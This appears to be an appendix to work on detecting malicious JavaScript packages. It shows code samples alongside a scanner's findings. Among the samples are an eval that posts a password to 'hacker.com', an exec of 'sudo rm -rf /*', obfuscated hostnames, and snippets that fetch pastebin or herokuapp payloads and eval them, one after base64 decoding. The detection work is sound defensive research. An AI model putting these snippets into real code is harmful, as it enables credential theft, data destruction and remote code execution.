Appendix

1 Keyword disguise

1.1 Concatenated String

```
var url_part_1 = 'h' + 't' + 't' + 'p' // <--- disguised http keyword
var url_part_2 = ['api.github', '.com/repos'].join('')
var address = url_part_1 + url_part_2;
var r = http.request({
    hostname: address,
    port: 8080,
    method: "POST",
    path: "/" + t,
}, function() {});
```

Result:

```
- Found data exchange in:
http.request({
    hostname: address,
    port: 8080,
    method: "POST",
    path: "/" + t,
}, function() {})
```

1.2 Encoded String

```
var e = Buffer.from(e, "hex").toString()
var r = http.request({
    hostname: e,
    port: 8080,
    method: "POST",
    path: "/" + t,
}, function() {});
```

Result:

```
- Found data exchange & encoded string in:
http.request({
    hostname: e,
    port: 8080,
    method: "POST",
    path: "/" + t,
}, function() {})
```

2 Command Injection

2.1 Hardcoded code string

Execute js code

```
eval('http.post("hacker.com", {"pwd": pwd})')
```

Result:

```
- Found powerful function in:
eval('http.post("hacker.com", {"pwd": pwd})')
```

Execute shell command

```
exec('sudo rm -rf /*', (err, stdout, stderr) => {
});
```

Result:

```
- Found powerful function in:
exec('sudo rm -rf /*', (err, stdout, stderr) => {
})
```

2.2 Encoded code string

```
var a = 'asdfbakl2347198ebfkjdasfae' // <--- malicious code
var decoded_a = Buffer.from(a, "hex").toString()
eval(decoded_a)
```

Result:

```
- Found powerful function & encoded string in:
eval(decoded_a)
```

2.3 Code from http response

Plain string

```
https.get(
    {
        hostname: "pastebin.com",
        path: "/raw/XLeVP82h",
    },
    r => {
        r.on("data", c => {
            eval(c);  // <--- malicious code here
        });
    }
)
```

Result:

```
- Found data exchange & powerful function in:
https.get(
    {
        hostname: "pastebin.com",
        path: "/raw/XLeVP82h",
    },
    r => {
        r.on("data", c => {
            eval(c);  // <--- malicious code here
        });
    }
)
```

With Encoding

```
try {
    https.get("https://updatecheck.herokuapp.com/check", res =>
res.on("data", d => {
        try {
            eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d))
        } catch (e) {}
    }))
} catch (e) {}
```

Result:

```
- Found data exchange & powerful function & encoded string in:
https.get("https://updatecheck.herokuapp.com/check", res => res.on("data",
d => {
    try {
        eval((atob || (e => "" + Buffer.from(e, "base64")))("" + d))
    } catch (e) {}
}))
```

3 Name alias

```
var o = http
function i(e, t, n) {
    e = 'http://google.com';
    var r = o.request({ // <---- aliased variable
        hostname: e,
        port: 8080,
        method: "POST",
        path: "/" + t,
    }, function() {});
}
```

Result:

```
- Found data exchange in:
o.request({ // <---- aliased variable
        hostname: e,
        port: 8080,
        method: "POST",
        path: "/" + t,
    }, function() {})
```